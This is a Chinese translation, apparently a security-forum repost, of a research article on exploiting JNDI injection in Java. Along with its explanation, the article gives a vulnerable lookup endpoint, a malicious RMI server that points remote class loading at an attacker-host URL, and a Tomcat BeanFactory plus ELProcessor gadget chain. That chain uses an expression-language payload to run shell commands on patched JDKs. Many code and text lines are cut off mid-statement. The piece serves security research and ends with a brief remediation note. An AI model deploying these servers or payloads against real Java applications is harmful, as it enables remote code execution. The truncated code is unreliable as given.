Exploiting JNDI Injections in Java

mss**** / 2019-01-07 09:36:00 / 浏览数 3253 技术文章 翻译文章 顶(0) 踩(0)

原文：https://www.veracode.com/blog/research/exploiting-jndi-injections-java

简介

Java Naming and Directory Interface(JNDI)是一种Java
API，可以通过名称来发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中，如远程方法调用(RMI)、公共对象请求代理体系结构(CORBA)、轻量级目录访

换句话说，JNDI就是一个简单的Java API（如"InitialContext.Lookup（String
Name）"），它只接受一个字符串参数，如果该参数来自不可信的源的话，则可能因为远程类加载而引发远程代码执行攻击。

当被请求对象的名称处于攻击者掌控之下时，他们就能将受害Java应用程序指向恶意的RMI/LDAP/CORBA服务器，并使用任意对象进行响应。如果该对象是"javax.naming

由于其简单性，即使"InitialContext.lookup"方法没有直接暴露给受污染的数据，它对于利用Java漏洞来说也非常有用。在某些情况下，仍然可以通过反序列化或不安全的反

易受攻击的应用程序示例

```
@RequestMapping("/lookup")
   @Example(uri = {"/lookup?name=java:comp/env"})
   public Object lookup(@RequestParam String name) throws Exception{
       return new javax.naming.InitialContext().lookup(name);
   }
```

JDK1.8.0_191版本之前的JNDI注入攻击

通过请求URL`/lookup/?name=ldap://127.0.0.1:1389/Object`，可以使易受攻击的服务器连接到我们掌控之下的地址。为了触发远程类加载，恶意RMI服务器可以使

```
public class EvilRMIServer {
   public static void main(String[] args) throws Exception {
       System.out.println("Creating evil RMI registry on port 1097");
       Registry registry = LocateRegistry.createRegistry(1097);

       //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/'
       Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/");

       ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
       registry.bind("Object", referenceWrapper);
   }
}
```

由于目标服务器不知道"ExploitObject"，因此，它将从`http://_attacker.com_/ExploitObject.class`加载并执行其字节码，进而导致RCE攻击。

当Oracle向RMI添加代码库限制时，这种技术在Java
8u121及以前版本上运行良好。在此之后，人们发现可以使用恶意LDAP服务器返回相同的reference，具体参阅"A Journey from JNDI/LDAP manipulation to remote code execution dream land"。读者可以从"Java Unmarshaller Security"GitHub存储库中找到一个非常不错的示例代码。

两年后，在Java
8U191更新中，Oracle公司对LDAP向量施加了相同的限制，并公布了CVE-2018-3149，从此，JNDI远程类加载的大门就被关闭了。然而，攻击者仍然可以通过JNDI注入触

JDK 1.8.0_191+版本中的JNDI注入漏洞利用方法

自Java
8U191版本以来，当JNDI客户端接收到Reference对象时，其"ClassFactoryLocation"在RMI或LDAP中都没有用到。另一方面，我们仍然可以在"JavaFactory"属性中指定任

该类将用于从攻击者控制的"javax.naming.Reference"中提取实际的对象。它应该位于目标类路径中，实现"javax.naming.spi.ObjectFactory"，并至少提供一个"GetObjec

```
public interface ObjectFactory {
/**
* Creates an object using the location or reference information
* specified.
```

```
* ...
/*
   public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable environment)
       throws Exception;
}
```

其主要思想是：在目标类路径中找到一个工厂，并对Reference的属性执行一些危险的操作。通过考察该方法在JDK和流行库中的各种实现，我们发现了一个在漏洞利用方面

Apache Tomcat服务器中的"org.apache.naming.factory.BeanFactory"类中含有使用反射创建bean的逻辑：

```
public class BeanFactory
   implements ObjectFactory {

   /**
    * Create a new Bean instance.
    *
    * @param obj The reference object describing the Bean
    */
   @Override
   public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                   Hashtable environment)
       throws NamingException {

       if (obj instanceof ResourceRef) {

           try {

               Reference ref = (Reference) obj;
               String beanClassName = ref.getClassName();
               Class beanClass = null;
               ClassLoader tcl =
                   Thread.currentThread().getContextClassLoader();
               if (tcl != null) {
                   try {
                       beanClass = tcl.loadClass(beanClassName);
                   } catch(ClassNotFoundException e) {
                   }
               } else {
                   try {
                       beanClass = Class.forName(beanClassName);
                   } catch(ClassNotFoundException e) {
                       e.printStackTrace();
                   }
               }

               ...

               BeanInfo bi = Introspector.getBeanInfo(beanClass);
               PropertyDescriptor[] pda = bi.getPropertyDescriptors();

               Object bean = beanClass.getConstructor().newInstance();

               /* Look for properties with explicitly configured setter */
               RefAddr ra = ref.get("forceString");
               Map forced = new HashMap<>();
               String value;

               if (ra != null) {
                   value = (String)ra.getContent();
                   Class paramTypes[] = new Class[1];
                   paramTypes[0] = String.class;
                   String setterName;
                   int index;

                   /* Items are given as comma separated list */
                   for (String param: value.split(",")) {
                       param = param.trim();
                       /* A single item can either be of the form name=method
                        * or just a property name (and we will use a standard
```

```
                     * setter) */
                    index = param.indexOf('=');
                    if (index >= 0) {
                        setterName = param.substring(index + 1).trim();
                        param = param.substring(0, index).trim();
                    } else {
                        setterName = "set" +
                                     param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                                     param.substring(1);
                    }
                    try {
                        forced.put(param,
                                   beanClass.getMethod(setterName, paramTypes));
                    } catch (NoSuchMethodException|SecurityException ex) {
                        throw new NamingException
                            ("Forced String setter " + setterName +
                             " not found for property " + param);
                    }
                }
            }

            Enumeration e = ref.getAll();

            while (e.hasMoreElements()) {

                ra = e.nextElement();
                String propName = ra.getType();

                if (propName.equals(Constants.FACTORY) ||
                    propName.equals("scope") || propName.equals("auth") ||
                    propName.equals("forceString") ||
                    propName.equals("singleton")) {
                    continue;
                }

                value = (String)ra.getContent();

                Object[] valueArray = new Object[1];

                /* Shortcut for properties with explicitly configured setter */
                Method method = forced.get(propName);
                if (method != null) {
                    valueArray[0] = value;
                    try {
                        method.invoke(bean, valueArray);
                    } catch (IllegalAccessException|
                             IllegalArgumentException|
                             InvocationTargetException ex) {
                        throw new NamingException
                            ("Forced String setter " + method.getName() +
                             " threw exception for property " + propName);
                    }
                    continue;
                }
...
```

“BeanFactory”类可以创建任意bean的实例，并为所有的属性调用其setter。其中，目标bean的类名、属性和属性值都来自于Reference对象，而该对象处于攻击者的控制之

目标类将提供一个公共的无参数构造函数和只有一个“string”参数的公共setter。事实上，这些setter不一定以“set.”开头。因为“BeanFactory”含有一些逻辑，用于处理如何为

```
/* Look for properties with explicitly configured setter */
RefAddr ra = ref.get("forceString");
Map forced = new HashMap<>();
String value;

if (ra != null) {
   value = (String)ra.getContent();
   Class paramTypes[] = new Class[1];
   paramTypes[0] = String.class;
   String setterName;
```

```
   int index;

   /* Items are given as comma separated list */
   for (String param: value.split(",")) {
       param = param.trim();
       /* A single item can either be of the form name=method
        * or just a property name (and we will use a standard
        * setter) */
       index = param.indexOf('=');
       if (index >= 0) {
           setterName = param.substring(index + 1).trim();
           param = param.substring(0, index).trim();
       } else {
           setterName = "set" +
                        param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                        param.substring(1);
       }
```

这里使用的魔法属性是“forceString”。例如，通过将它设置为“x=eval”，我们可以为属性“x”调用名为“eval”而非“setX”的方法。

因此，通过使用“BeanFactory”类，我们可以使用默认构造函数创建任意类的实例，并使用一个“string”参数调用任意的公共方法。

在这里，还有一个比较有用的类，即“javax.el.elprocessor”。利用这个类的“eval”方法，我们可以指定一个字符串，用以表示要执行的Java表达式语言模板。

```
package javax.el;
...
public class ELProcessor {
...
   public Object eval(String expression) {
       return getValue(expression, Object.class);
   }
```

下面是执行任意命令的恶意表达式:

```
{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.Pro
```

综合应用

在打补丁之后，LDAP和RMI之间几乎没有什么区别，所以，为了简单起见，我们将使用RMI。

我们将编写自己的恶意RMI服务器，该服务器使用精心构造的“ResourceRef”对象来进行响应:

```
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
   public static void main(String[] args) throws Exception {
       System.out.println("Creating evil RMI registry on port 1097");
       Registry registry = LocateRegistry.createRegistry(1097);

       //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
       ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",nu
       //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
       ref.add(new StringRefAddr("forceString", "x=eval"));
       //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
       ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineBy

       ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
       registry.bind("Object", referenceWrapper);
   }
}
```

这个服务器以序列化对象“org.apache.naming.Resourceref”作为响应，借助该对象精心构造的各种属性，就能在客户端上触发攻击者所需的行为。

然后，我们来触发受害Java进程上的JNDI解析:

```
new InitialContext().lookup("rmi://127.0.0.1:1097/Object")
```

当对这个对象进行反序列化时，不会出现任何不希望发生的情况。但是，由于它扩展了“javax.naming.Reference”，因此“org.apache.naming.factory.BeanFactory”工厂将
jndi.s.artsploit.com”命令。

这里唯一的限制是，目标Java应用程序在类路径中提供一个来自Apache
Tomcat服务器的“org.apache.naming.factory.BeanFactory”类，但是其他应用程序服务器的包含危险功能的对象工厂可能与之不同。

解决方案

就本文所介绍的安全漏洞来说，真正的安全隐患不在JDK或Apache
Tomcat库中，而是在将用户可控数据传递给“initialContext.lookup()”函数的自定义应用程序中，因为即使在具有完整补丁的JDK安装中，它仍然存在相应的安全风险。需要